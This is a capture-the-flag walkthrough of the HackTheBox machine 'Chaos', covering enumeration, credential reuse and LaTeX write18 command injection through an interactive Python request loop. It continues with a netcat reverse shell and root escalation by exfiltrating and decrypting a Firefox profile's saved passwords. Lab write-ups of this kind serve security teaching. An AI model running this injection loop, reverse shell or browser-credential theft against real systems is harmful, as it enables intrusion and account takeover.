Chaos is a Medium linux box released back in December 2018.
As always we begin our Enumeration using Nmap to enumerate opened ports. We will be using the flags -sC for default scripts and -sV to enumerate versions.
┌[ nihilist @ Mahakala ]-[ 2020-04-01 ]-[ 10.10.14.42/23 ]-[~]
└→ sudo nmap -vvv -sTU -p- 10.10.10.120 --max-retries 0 -Pn --min-rate=1000 | grep Discovered
[sudo] password for nihilist:
Discovered open port 10000/udp on 10.10.10.120
Discovered open port 993/tcp on 10.10.10.120
Discovered open port 110/tcp on 10.10.10.120
Discovered open port 80/tcp on 10.10.10.120
Discovered open port 995/tcp on 10.10.10.120
Discovered open port 143/tcp on 10.10.10.120
Discovered open port 10000/tcp on 10.10.10.120
┌[ nihilist @ Mahakala ]-[ 2020-04-01 ]-[ 10.10.14.42/23 ]-[~]
└→ sudo nmap -sCVU -p10000 10.10.10.120
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-01 17:33 BST
Nmap scan report for 10.10.10.120
Host is up (0.070s latency).
PORT STATE SERVICE VERSION
10000/udp open webmin (https on TCP port 10000)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.16 seconds
┌[ nihilist @ Mahakala ]-[ 2020-04-01 ]-[ 10.10.14.42/23 ]-[~]
└→ nmap -sCVT -p993,110,80,995,143,10000 10.10.10.120
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-01 17:33 BST
Nmap scan report for 10.10.10.120
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.34 ((Ubuntu))
|_http-server-header: Apache/2.4.34 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
110/tcp open pop3 Dovecot pop3d
|_pop3-capabilities: SASL AUTH-RESP-CODE UIDL STLS PIPELINING TOP CAPA RESP-CODES
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after: 2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
143/tcp open imap Dovecot imapd (Ubuntu)
|_imap-capabilities: SASL-IR more STARTTLS LOGINDISABLEDA0001 post-login Pre-login listed LOGIN-REFERRALS IDLE ID have capabilities ENABLE IMAP4rev1 OK LITERAL+
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after: 2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
993/tcp open ssl/imap Dovecot imapd (Ubuntu)
|_imap-capabilities: SASL-IR more Pre-login post-login OK listed LOGIN-REFERRALS IDLE AUTH=PLAINA0001 have capabilities ENABLE IMAP4rev1 ID LITERAL+
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after: 2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
995/tcp open ssl/pop3 Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) AUTH-RESP-CODE UIDL USER PIPELINING TOP CAPA RESP-CODES
| ssl-cert: Subject: commonName=chaos
| Subject Alternative Name: DNS:chaos
| Not valid before: 2018-10-28T10:01:49
|_Not valid after: 2028-10-25T10:01:49
|_ssl-date: TLS randomness does not represent time
10000/tcp open http MiniServ 1.890 (Webmin httpd)
|_http-title: Site doesn't have a title (text/html; Charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 45.60 seconds
Our nmap scan picked up port 80 so let's add the chaos.htb hostname to our /etc/hosts file and browse to it:
sadly this is just a generic webpage with nothing really interesting on it. So instead we check out the port 10000 which reveals us the webmin service:
this webpage doesn't hint us towards any CVE nor can we guess the credentials, so we gobust the website instead:
┌[ nihilist @ Mahakala ]-[ 2020-04-01 ]-[ 10.10.14.42/23 ]-[~]
└→ gobuster dir -q -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -s 200,204,301,302 -u http://10.10.10.120
/wp (Status: 301)
/javascript (Status: 301)
Even though browsing to 10.10.10.120 gives us the "no direct IP allowed" there was still a wordpress website for us to find! so checking it out :
As expected we have a wordpress website. It only has a password protected post in there, so we scan the website using wpscan:
┌[ nihilist @ Mahakala ]-[ 2020-04-01 ]-[ 10.10.14.42/23 ]-[~]
└→ wpscan --url http://10.10.10.120/wp/wordpress
_______________________________________________________________
__ _______ _____
\ \ / / __ \ / ____|
\ \ /\ / /| |__) | (___ ___ __ _ _ __ ®
\ \/ \/ / | ___/ \___ \ / __|/ _` | '_ \
\ /\ / | | ____) | (__| (_| | | | |
\/ \/ |_| |_____/ \___|\__,_|_| |_|
WordPress Security Scanner by the WPScan Team
Version 3.7.9
Sponsored by Automattic - https://automattic.com/
@_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________
[...]
Interesting Finding(s):
[+] Headers
| Interesting Entry: Server: Apache/2.4.34 (Ubuntu)
| Found By: Headers (Passive Detection)
| Confidence: 100%
[+] XML-RPC seems to be enabled: http://10.10.10.120/wp/wordpress/xmlrpc.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
| References:
| - http://codex.wordpress.org/XML-RPC_Pingback_API
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner
| - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login
| - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access
[+] http://10.10.10.120/wp/wordpress/readme.html
| Found By: Direct Access (Aggressive Detection)
| Confidence: 100%
[+] http://10.10.10.120/wp/wordpress/wp-cron.php
| Found By: Direct Access (Aggressive Detection)
| Confidence: 60%
| References:
| - https://www.iplocation.net/defend-wordpress-from-ddos
| - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.9.8 identified (Insecure, released on 2018-08-02).
| Found By: Rss Generator (Passive Detection)
| - http://10.10.10.120/wp/wordpress/index.php/feed/, https://wordpress.org/?v=4.9.8
| - http://10.10.10.120/wp/wordpress/index.php/comments/feed/, https://wordpress.org/?v=4.9.8
[+] WordPress theme in use: twentyseventeen
| Location: http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/
| Last Updated: 2020-02-25T00:00:00.000Z
| Readme: http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/README.txt
| [!] The version is out of date, the latest version is 2.2
| Style URL: http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/style.css?ver=4.9.8
| Style Name: Twenty Seventeen
| Style URI: https://wordpress.org/themes/twentyseventeen/
| Description: Twenty Seventeen brings your site to life with header video and immersive featured images. With a fo...
| Author: the WordPress team
| Author URI: https://wordpress.org/
|
| Found By: Css Style In Homepage (Passive Detection)
|
| Version: 1.7 (80% confidence)
| Found By: Style (Passive Detection)
| - http://10.10.10.120/wp/wordpress/wp-content/themes/twentyseventeen/style.css?ver=4.9.8, Match: 'Version: 1.7'
[+] Enumerating All Plugins (via Passive Methods)
[i] No plugins Found.
[+] Enumerating Config Backups (via Passive and Aggressive Methods)
Checking Config Backups - Time: 00:00:00 <===> (21 / 21) 100.00% Time: 00:00:00
[i] No Config Backups Found.
[!] No WPVulnDB API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 50 daily requests by registering at https://wpvulndb.com/users/sign_up
[+] Finished: Wed Apr 1 18:08:43 2020
[+] Requests Done: 51
[+] Cached Requests: 5
[+] Data Sent: 12.352 KB
[+] Data Received: 290.885 KB
[+] Memory used: 199.727 MB
[+] Elapsed time: 00:00:08
Not much interesting results here, the trick here was that we had to find the username human and use it as a password:
username – ayush
password – jiujitsu
Once decrypted, we have credentials to use on the email service which was referenced in a note we found earlier so we will go to the subdomain webmail.chaos.htb and use those credentials there after we added it to our hosts file:
Once logged in as ayush we have access to his webmail and to a particular draft message that contains the username "sahay" with an encrypted textfile and the python script used to decrypt it:
┌[ nihilist @ Mahakala ]-[ 2020-04-02 ]-[ 10.10.14.42/23 ]-[~/_HTB/Chaos]
└→ mv ~/Downloads/en.py . && mv ~/Downloads/enim_msg.txt .
┌[ nihilist @ Mahakala ]-[ 2020-04-02 ]-[ 10.10.14.42/23 ]-[~/_HTB/Chaos]
└→ ls
enim_msg.txt en.py
The python script is an AES CBC encrypting script:
def encrypt(key, filename):
chunksize = 64*1024
outputFile = "en" + filename
filesize = str(os.path.getsize(filename)).zfill(16)
IV =Random.new().read(16)
encryptor = AES.new(key, AES.MODE_CBC, IV)
with open(filename, 'rb') as infile:
with open(outputFile, 'wb') as outfile:
outfile.write(filesize.encode('utf-8'))
outfile.write(IV)
while True:
chunk = infile.read(chunksize)
if len(chunk) == 0:
break
elif len(chunk) % 16 != 0:
chunk += b' ' * (16 - (len(chunk) % 16))
outfile.write(encryptor.encrypt(chunk))
def getKey(password):
hasher = SHA256.new(password.encode('utf-8'))
return hasher.digest()
From there we write our own python script to decrypt the enim_msg.txt file, we'll use Snowscan's python script which uses the Crypto library:
┌[ nihilist @ Mahakala ]-[ 2020-04-02 ]-[ 10.10.14.42/23 ]-[~/_HTB/Chaos]
└→ pip install Crypto
Collecting Crypto
Downloading https://files.pythonhosted.org/packages/fc/bb/0b812dc02e6357606228edfbf5808f5ca0a675a84273578c3a199e841cd8/crypto-1.4.1-py2.py3-none-any.whl
Collecting Naked (from Crypto)
Downloading https://files.pythonhosted.org/packages/02/36/b8107b51adca73402ec1860d88f41d958e275e60eea6eeaa9c39ddb89a40/Naked-0.1.31-py2.py3-none-any.whl (590kB)
100% |████████████████████████████████| 593kB 831kB/s
Collecting shellescape (from Crypto)
Downloading https://files.pythonhosted.org/packages/d0/f4/0081137fceff5779cd4205c1e96657e41cc2d2d56c940dc8eeb6111780f7/shellescape-3.8.1-py2.py3-none-any.whl
Collecting pyyaml (from Naked->Crypto)
Downloading https://files.pythonhosted.org/packages/64/c2/b80047c7ac2478f9501676c988a5411ed5572f35d1beff9cae07d321512c/PyYAML-5.3.1.tar.gz (269kB)
100% |████████████████████████████████| 276kB 1.3MB/s
Requirement already satisfied: requests in /usr/lib/python2.7/dist-packages (from Naked->Crypto) (2.22.0)
Building wheels for collected packages: pyyaml
Running setup.py bdist_wheel for pyyaml ... done
Stored in directory: /home/nihilist/.cache/pip/wheels/a7/c1/ea/cf5bd31012e735dc1dfea3131a2d5eae7978b251083d6247bd
Successfully built pyyaml
Installing collected packages: pyyaml, Naked, shellescape, Crypto
Successfully installed Crypto-1.4.1 Naked-0.1.31 pyyaml-5.3.1 shellescape-3.8.1
┌[ nihilist @ Mahakala ]-[ 2020-04-02 ]-[ 10.10.14.42/23 ]-[~/_HTB/Chaos]
└→ nano decrypt.py
from Crypto import Random
from Crypto.Cipher import AES
from Crypto.Hash import SHA256
def getKey(password):
hasher=SHA256.new(password)
return hasher.digest()
with open('enim_msg.txt') as f:
c = f.read()
filesize = int(c[:16])
print("filesize: %d" % filesize)
iv = c[16:32]
print("IV: %s" % iv)
key = getKey("sahay")
cipher = AES.new(key,AES.MODE_CBC,iv)
print(cipher.decrypt(c[32:]))
And with the decrypted message we are now hinted towards a hidden directory :
http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3
Going there we see a PDF making webpage using an ajax php script to generate said pdf files.
So let's use burpsuite to intercept the request in order to send it to the repeater (CTRL+R) and go there (CTRL+SHIFT+R)
Once there we send the request and see that the webpage is using LaTeX to generate our pdf files. Therefore we can try to do some arbitrary commands using LaTeX:
Although as you can see a few commands are blacklisted:
The trick here was, that we could use the following command :
\immediate\write18{id}
As you can see we have been able to execute the "id" command, which gave us a hint that we could get cmd execution as www-data. For this next part we'll use Snowscan's python script that sends the request, but also uses regular expressions to remove the excessive amount of data:
import re
import requests
headers = {
'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
'X-Requested-With': 'XMLHttpRequest',
'Cookie': 'redirect=1'
}
while(True):
cmd=raw_input('> ')
data = {
'content': '\\immediate\\write18{%s}' % cmd,
'template': 'test1'
}
r = requests.post('http://chaos.htb/J00_w1ll_f1Nd_n07H1n9_H3r3/ajax.php', headers=headers,data=data)
out = r.text
m = re.search('.*\(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/umsa.fd\)\n\(/usr/share/texlive/texmf-dist/tex/latex/amsfonts/umsb.fd\)(.*)\[1',out, re.MULTILINE|re.DOTALL)
if m:
print(m.group(1))
┌[ nihilist @ Mahakala ]-[ 2020-04-02 ]-[ 10.10.14.42/23 ]-[~/_HTB/Chaos]
└→ python snowscan_is_awesome.py
> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
> ls -lash /home
total 16K
4.0K drwxr-xr-x 4 root root 4.0K Oct 28 2018 .
4.0K drwxr-xr-x 22 root root 4.0K Dec 9 2018 ..
4.0K drwx------ 5 ayush ayush 4.0K Nov 24 2018 ayush
4.0K drwx------ 5 sahay sahay 4.0K Nov 24 2018 sahay
> which nc
/bin/nc
As expected we have 2 users on the box, ayush and sahay. And we have netcat there so we can try to use it to get a reverse shell onto the box but unfortunately that doesnt work so we could upload our own netcat binary there in /tmp and use it to get ourselves a reverse shell like snowscan did, but since python is there on the machine we'll just use a python one liner instead:
And we are logged in as www-data ! lets privesc to the user ayush since we know his password "jiujitsu"
┌[ nihilist @ Mahakala ]-[ 2020-04-02 ]-[ 10.10.14.42/23 ]-[~/_HTB/Chaos]
└→ nc -lvnp 9001
Listening on 0.0.0.0 9001
Connection received on 10.10.10.120 36402
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ su -l ayush
su: must be run from a terminal
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@chaos:/var/www/main/J00_w1ll_f1Nd_n07H1n9_H3r3/compile$ cd /
cd /
www-data@chaos:/$ su -l ayush
su -l ayush
Password: jiujitsu
ayush@chaos:~$ cat user.txt
cat user.txt
Command 'cat' is available in '/bin/cat'
The command could not be located because '/bin' is not included in the PATH environment variable.
cat: command not found
2 things here, first we had to spawn a TTY shell using python's pty module, then we have been able to privesc to the user ayush, however from here we cannot use "cat" because the PATH environment variable hasn't been properly set, so we fix it ourselves:
ayush@chaos:~$ cat user.txt
cat user.txt
Command 'cat' is available in '/bin/cat'
The command could not be located because '/bin' is not included in the PATH environment variable.
cat: command not found
ayush@chaos:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
ayush@chaos:~$ cat user.txt
cat user.txt
eeXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it ! we have been able to print out the user flag.
Now in order to privesc on this box we can use the Firefox credentials path, which consists in remembering that we had a webmin application running, and that by default the root user credentials are used to log in to the application. In ayush's home directory there is a .mozilla folder that contains encrypted firefox credentials in logins.json:
ayush@chaos:~$ ls -lash
ls -lash
total 40K
4.0K drwx------ 6 ayush ayush 4.0K Apr 2 12:13 .
4.0K drwxr-xr-x 4 root root 4.0K Oct 28 2018 ..
4.0K drwxr-xr-x 2 root root 4.0K Oct 28 2018 .app
0 -rw------- 1 root root 0 Nov 24 2018 .bash_history
4.0K -rw-r--r-- 1 ayush ayush 220 Oct 28 2018 .bash_logout
4.0K -rwxr-xr-x 1 root root 22 Oct 28 2018 .bashrc
4.0K drwx------ 3 ayush ayush 4.0K Apr 2 12:13 .gnupg
4.0K drwx------ 3 ayush ayush 4.0K Apr 2 11:34 mail
4.0K drwx------ 4 ayush ayush 4.0K Sep 29 2018 .mozilla
4.0K -rw-r--r-- 1 ayush ayush 807 Oct 28 2018 .profile
4.0K -rw------- 1 ayush ayush 33 Oct 28 2018 user.txt
ayush@chaos:~$ cd .mozilla
cd .mozilla
ayush@chaos:~/.mozilla$ ls -lash
ls -lash
total 16K
4.0K drwx------ 4 ayush ayush 4.0K Sep 29 2018 .
4.0K drwx------ 6 ayush ayush 4.0K Apr 2 12:13 ..
4.0K drwx------ 2 ayush ayush 4.0K Sep 29 2018 extensions
4.0K drwx------ 4 ayush ayush 4.0K Sep 29 2018 firefox
ayush@chaos:~/.mozilla$ cd firefox
cd firefox
ayush@chaos:~/.mozilla/firefox$ ls -lash
ls -lash
total 20K
4.0K drwx------ 4 ayush ayush 4.0K Sep 29 2018 .
4.0K drwx------ 4 ayush ayush 4.0K Sep 29 2018 ..
4.0K drwx------ 10 ayush ayush 4.0K Oct 27 2018 bzo7sjt1.default
4.0K drwx------ 4 ayush ayush 4.0K Oct 15 2018 'Crash Reports'
4.0K -rw-r--r-- 1 ayush ayush 104 Sep 29 2018 profiles.ini
ayush@chaos:~/.mozilla/firefox$ cd bzo7sjt1.default
cd bzo7sjt1.default
ayush@chaos:~/.mozilla/firefox/bzo7sjt1.default$ ls -lash
ls -lash
total 15M
4.0K drwx------ 10 ayush ayush 4.0K Oct 27 2018 .
4.0K drwx------ 4 ayush ayush 4.0K Sep 29 2018 ..
4.0K -rw------- 1 ayush ayush 24 Oct 27 2018 addons.json
4.0K -rw-r--r-- 1 ayush ayush 222 Oct 27 2018 AlternateServices.txt
560K -rw------- 1 ayush ayush 559K Oct 11 2018 blocklist-addons.json
28K -rw------- 1 ayush ayush 28K Oct 7 2018 blocklist-gfx.json
136K -rw------- 1 ayush ayush 136K Oct 7 2018 blocklist-plugins.json
420K -rw------- 1 ayush ayush 420K Oct 25 2018 blocklist.xml
4.0K drwx------ 2 ayush ayush 4.0K Oct 27 2018 bookmarkbackups
92K -rw------- 1 ayush ayush 92K Oct 27 2018 cert9.db
4.0K -rw------- 1 ayush ayush 362 Oct 27 2018 cert_override.txt
4.0K -rw------- 1 ayush ayush 170 Sep 29 2018 compatibility.ini
4.0K -rw------- 1 ayush ayush 809 Sep 29 2018 containers.json
224K -rw-r--r-- 1 ayush ayush 224K Oct 24 2018 content-prefs.sqlite
512K -rw-r--r-- 1 ayush ayush 512K Oct 27 2018 cookies.sqlite
32K -rw-r--r-- 1 ayush ayush 32K Oct 27 2018 cookies.sqlite-shm
0 -rw-r--r-- 1 ayush ayush 0 Oct 27 2018 cookies.sqlite-wal
4.0K drwx------ 3 ayush ayush 4.0K Oct 27 2018 crashes
4.0K drwx------ 3 ayush ayush 4.0K Oct 27 2018 datareporting
4.0K -rw-r--r-- 1 ayush ayush 167 Sep 29 2018 extensions.ini
8.0K -rw------- 1 ayush ayush 5.6K Oct 27 2018 extensions.json
192K -rw-r--r-- 1 ayush ayush 192K Oct 24 2018 formhistory.sqlite
4.0K drwx------ 3 ayush ayush 4.0K Sep 29 2018 gmp
36K -rw------- 1 ayush ayush 36K Oct 27 2018 key4.db
1.3M -rw-r--r-- 1 ayush ayush 1.3M Oct 11 2018 kinto.sqlite
4.0K -rw------- 1 ayush ayush 570 Oct 27 2018 logins.json
4.0K -rw-r--r-- 1 ayush ayush 3.7K Sep 29 2018 mimeTypes.rdf
4.0K drwx------ 2 ayush ayush 4.0K Oct 25 2018 minidumps
0 -rw-r--r-- 1 root root 0 Oct 27 2018 .parentlock
96K -rw-r--r-- 1 ayush ayush 96K Sep 29 2018 permissions.sqlite
4.0K -rw------- 1 ayush ayush 868 Sep 29 2018 pkcs11.txt
10M -rw-r--r-- 1 ayush ayush 10M Oct 27 2018 places.sqlite
32K -rw-r--r-- 1 ayush ayush 32K Oct 27 2018 places.sqlite-shm
36K -rw-r--r-- 1 ayush ayush 33K Oct 27 2018 places.sqlite-wal
4.0K -rw------- 1 ayush ayush 469 Sep 29 2018 pluginreg.dat
12K -rw------- 1 ayush ayush 12K Oct 27 2018 prefs.js
44K -rw-r--r-- 1 ayush ayush 43K Oct 11 2018 revocations.txt
4.0K drwx------ 2 ayush ayush 4.0K Oct 26 2018 saved-telemetry-pings
20K -rw------- 1 ayush ayush 17K Sep 29 2018 search.json.mozlz4
0 -rw-r--r-- 1 ayush ayush 0 Oct 27 2018 SecurityPreloadState.txt
4.0K -rw------- 1 ayush ayush 90 Oct 27 2018 sessionCheckpoints.json
4.0K drwx------ 2 ayush ayush 4.0K Oct 27 2018 sessionstore-backups
8.0K -rw-r--r-- 1 ayush ayush 5.3K Oct 27 2018 SiteSecurityServiceState.txt
4.0K drwxr-xr-x 5 ayush ayush 4.0K Oct 9 2018 storage
4.0K -rw-r--r-- 1 ayush ayush 512 Sep 29 2018 storage.sqlite
4.0K -rwx------ 1 ayush ayush 29 Sep 29 2018 times.json
256K -rw-r--r-- 1 ayush ayush 256K Oct 27 2018 webappsstore.sqlite
32K -rw-r--r-- 1 ayush ayush 32K Oct 27 2018 webappsstore.sqlite-shm
0 -rw-r--r-- 1 ayush ayush 0 Oct 27 2018 webappsstore.sqlite-wal
4.0K -rw------- 1 ayush ayush 1.1K Oct 27 2018 xulstore.json
So we print out his logins.json file :
ayush@chaos:~/.mozilla/firefox/bzo7sjt1.default$ cat logins.json
cat logins.json
{"nextId":3,"logins":[{"id":2,"hostname":"https://chaos.htb:10000","httpRealm":null,"formSubmitURL":"https://chaos.htb:10000","usernameField":"user","passwordField":"pass","encryptedUsername":"MDIEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECDSAazrlUMZFBAhbsMDAlL9iaw==","encryptedPassword":"MDoEEPgAAAAAAAAAAAAAAAAAAAEwFAYIKoZIhvcNAwcECNx7bW1TuuCuBBAP8YwnxCZH0+pLo6cJJxnb","guid":"{cb6cd202-0ff8-4de5-85df-e0b8a0f18778}","encType":1,"timeCreated":1540642202692,"timeLastUsed":1540642202692,"timePasswordChanged":1540642202692,"timesUsed":1}],"disabledHosts":[],"version":2}
Looking at logins.json we see that hte formSubmitURL is https://chaos.htb:10000 which is the webmin application we found earlier, So the idea here is, since tar is there on the box :
ayush@chaos:~/.mozilla/firefox/bzo7sjt1.default$ which tar
which tar
/bin/tar
We can tar-compress ayush's entire firefox profile directory, and send it to our machine using netcat:
ayush@chaos:~/.mozilla/firefox$ tar -zcvf ayush.tar.gz bzo7sjt1.default
tar -zcvf ayush.tar.gz bzo7sjt1.default
bzo7sjt1.default/
bzo7sjt1.default/cookies.sqlite
bzo7sjt1.default/places.sqlite
bzo7sjt1.default/webappsstore.sqlite
bzo7sjt1.default/permissions.sqlite
bzo7sjt1.default/sessionstore-backups/
tar: bzo7sjt1.default/sessionstore-backups/recovery.js: Cannot open: Permission denied
tar: bzo7sjt1.default/sessionstore-backups/upgrade.js-20180326230345: Cannot open: Permission denied
tar: bzo7sjt1.default/sessionstore-backups/previous.js: Cannot open: Permission denied
tar: bzo7sjt1.default/sessionstore-backups/recovery.bak: Cannot open: Permission denied
bzo7sjt1.default/bookmarkbackups/
tar: bzo7sjt1.default/bookmarkbackups/bookmarks-2018-09-29_23_KNEJR-waZJZwUVshUNhFqg==.jsonlz4: Cannot open: Permission denied
tar: bzo7sjt1.default/bookmarkbackups/bookmarks-2018-10-27_24_0UTpOFh1V6tsL2fi6cyvng==.jsonlz4: Cannot open: Permission denied
bzo7sjt1.default/cookies.sqlite-wal
bzo7sjt1.default/formhistory.sqlite
bzo7sjt1.default/webappsstore.sqlite-shm
bzo7sjt1.default/storage.sqlite
bzo7sjt1.default/cert_override.txt
bzo7sjt1.default/gmp/
tar: bzo7sjt1.default/gmp/Linux_x86_64-gcc3: Cannot open: Permission denied
bzo7sjt1.default/blocklist.xml
bzo7sjt1.default/cookies.sqlite-shm
bzo7sjt1.default/search.json.mozlz4
bzo7sjt1.default/AlternateServices.txt
bzo7sjt1.default/content-prefs.sqlite
bzo7sjt1.default/cert9.db
bzo7sjt1.default/storage/
bzo7sjt1.default/storage/temporary/
bzo7sjt1.default/storage/default/
bzo7sjt1.default/storage/default/https+++www.google.com/
bzo7sjt1.default/storage/default/https+++www.google.com/.metadata-v2
bzo7sjt1.default/storage/default/https+++www.google.com/idb/
bzo7sjt1.default/storage/default/https+++www.google.com/idb/548905059db.sqlite
bzo7sjt1.default/storage/default/https+++www.google.com/idb/548905059db.files/
bzo7sjt1.default/storage/default/https+++www.google.com/.metadata
bzo7sjt1.default/storage/permanent/
bzo7sjt1.default/storage/permanent/chrome/
bzo7sjt1.default/storage/permanent/chrome/.metadata-v2
bzo7sjt1.default/storage/permanent/chrome/idb/
bzo7sjt1.default/storage/permanent/chrome/idb/2918063365piupsah.sqlite
bzo7sjt1.default/storage/permanent/chrome/idb/2918063365piupsah.files/
bzo7sjt1.default/storage/permanent/chrome/.metadata
bzo7sjt1.default/datareporting/
tar: bzo7sjt1.default/datareporting/session-state.json: Cannot open: Permission denied
tar: bzo7sjt1.default/datareporting/state.json: Cannot open: Permission denied
tar: bzo7sjt1.default/datareporting/archived: Cannot open: Permission denied
tar: bzo7sjt1.default/datareporting/aborted-session-ping: Cannot open: Permission denied
bzo7sjt1.default/pkcs11.txt
bzo7sjt1.default/logins.json
bzo7sjt1.default/extensions.ini
bzo7sjt1.default/compatibility.ini
bzo7sjt1.default/minidumps/
bzo7sjt1.default/blocklist-gfx.json
bzo7sjt1.default/.parentlock
bzo7sjt1.default/sessionCheckpoints.json
bzo7sjt1.default/prefs.js
bzo7sjt1.default/addons.json
bzo7sjt1.default/xulstore.json
bzo7sjt1.default/revocations.txt
bzo7sjt1.default/extensions.json
bzo7sjt1.default/places.sqlite-shm
bzo7sjt1.default/key4.db
bzo7sjt1.default/crashes/
tar: bzo7sjt1.default/crashes/events: Cannot open: Permission denied
tar: bzo7sjt1.default/crashes/store.json.mozlz4: Cannot open: Permission denied
bzo7sjt1.default/pluginreg.dat
bzo7sjt1.default/places.sqlite-wal
bzo7sjt1.default/webappsstore.sqlite-wal
bzo7sjt1.default/blocklist-plugins.json
bzo7sjt1.default/kinto.sqlite
bzo7sjt1.default/times.json
bzo7sjt1.default/saved-telemetry-pings/
tar: bzo7sjt1.default/saved-telemetry-pings/f153dbe5-b2e1-46ad-bb38-d0d2e22ab3fe: Cannot open: Permission denied
tar: bzo7sjt1.default/saved-telemetry-pings/dc2f3e22-3710-4da9-9d30-c01f0885a480: Cannot open: Permission denied
tar: bzo7sjt1.default/saved-telemetry-pings/b35e9f24-a4a9-4683-b4ec-1fdaf3533a7a: Cannot open: Permission denied
bzo7sjt1.default/mimeTypes.rdf
bzo7sjt1.default/containers.json
bzo7sjt1.default/SecurityPreloadState.txt
bzo7sjt1.default/SiteSecurityServiceState.txt
bzo7sjt1.default/blocklist-addons.json
tar: Exiting with failure status due to previous errors
ayush@chaos:~/.mozilla/firefox$ ls
ls
ayush.tar.gz bzo7sjt1.default 'Crash Reports' profiles.ini
Transfer it using netcat and verify they are the same using md5sum:
From there we can use unode's firefox_decrypt python script to extract passwords from mozilla profiles:
┌[ nihilist @ Mahakala ]-[ 2020-04-02 ]-[ 10.10.14.42/23 ]-[~/_HTB/Chaos]
└→ tar -xzvf ayush.tar.gz
┌[ nihilist @ Mahakala ]-[ 2020-04-02 ]-[ 10.10.14.42/23 ]-[~/_HTB/Chaos]
└→ curl -sk https://raw.githubusercontent.com/unode/firefox_decrypt/master/firefox_decrypt.py > firefox_decrypt.py
┌[ nihilist @ Mahakala ]-[ 2020-04-02 ]-[ 10.10.14.42/23 ]-[~/_HTB/Chaos]
└→ python firefox_decrypt.py bzo7sjt1.default
2020-04-02 13:37:14,021 - WARNING - profile.ini not found in bzo7sjt1.default
2020-04-02 13:37:14,022 - WARNING - Continuing and assuming 'bzo7sjt1.default' is a profile location
Master Password for profile bzo7sjt1.default:
Use ayush's password 'jiujitsu':
2020-04-02 13:37:14,021 - WARNING - profile.ini not found in bzo7sjt1.default
2020-04-02 13:37:14,022 - WARNING - Continuing and assuming 'bzo7sjt1.default' is a profile location
Master Password for profile bzo7sjt1.default:
Website: https://chaos.htb:10000
Username: 'root'
Password: 'Thiv8wrej~'
And there we have it ! we can finally privesc to root :
ayush@chaos:~/.mozilla/firefox$ cd /
cd /
ayush@chaos:/$ su -l root
su -l root
Password: Thiv8wrej~
root@chaos:~# cat root.txt
cat root.txt
4eXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
And that's it ! We have been able to print out the root flag.
Here we can see the progress graph :
Donate XMR: 8AUYjhQeG3D5aodJDtqG499N5jXXM71gYKD8LgSsFB9BUV1o7muLv3DXHoydRTK4SZaaUBq4EAUqpZHLrX2VZLH71Jrd9k8
Contact: nihilist@contact.nowhere.moe (PGP)